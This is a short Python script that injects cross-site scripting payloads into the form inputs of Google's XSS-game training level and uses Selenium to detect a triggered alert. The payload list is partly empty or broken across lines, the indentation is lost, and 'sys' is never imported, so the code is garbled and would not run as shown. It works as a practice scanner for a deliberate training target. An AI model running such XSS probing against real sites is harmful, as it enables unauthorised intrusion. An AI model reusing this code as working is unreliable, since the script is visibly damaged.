import requests
import time
import urllib.parse
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
url = "https://xss-game.appspot.com/level1/frame"
response = requests.get(url)
soup = BeautifulSoup(response.text)
form = soup.find('form')
print()
payloads = [
"
",
"",
"data:text/plain,alert(3)",
"javascript:alert(4)"
]
def encode_url(url, params):
params_encoded = urllib.parse.urlencode(params)
full_url = url + "?" + params_encoded
return full_url
for payload in payloads:
params = {}
for input in form.find_all('input'):
if input.has_attr('name'):
params[input['name']] = payload
url_to_send = encode_url(url, params)
browser = webdriver.Firefox()
browser.get(url_to_send)
time.sleep(1)
if browser.switch_to.alert.text is not None:
print(f"XSS Found in: {url} with : {params}")
browser.quit()
sys.exit(0)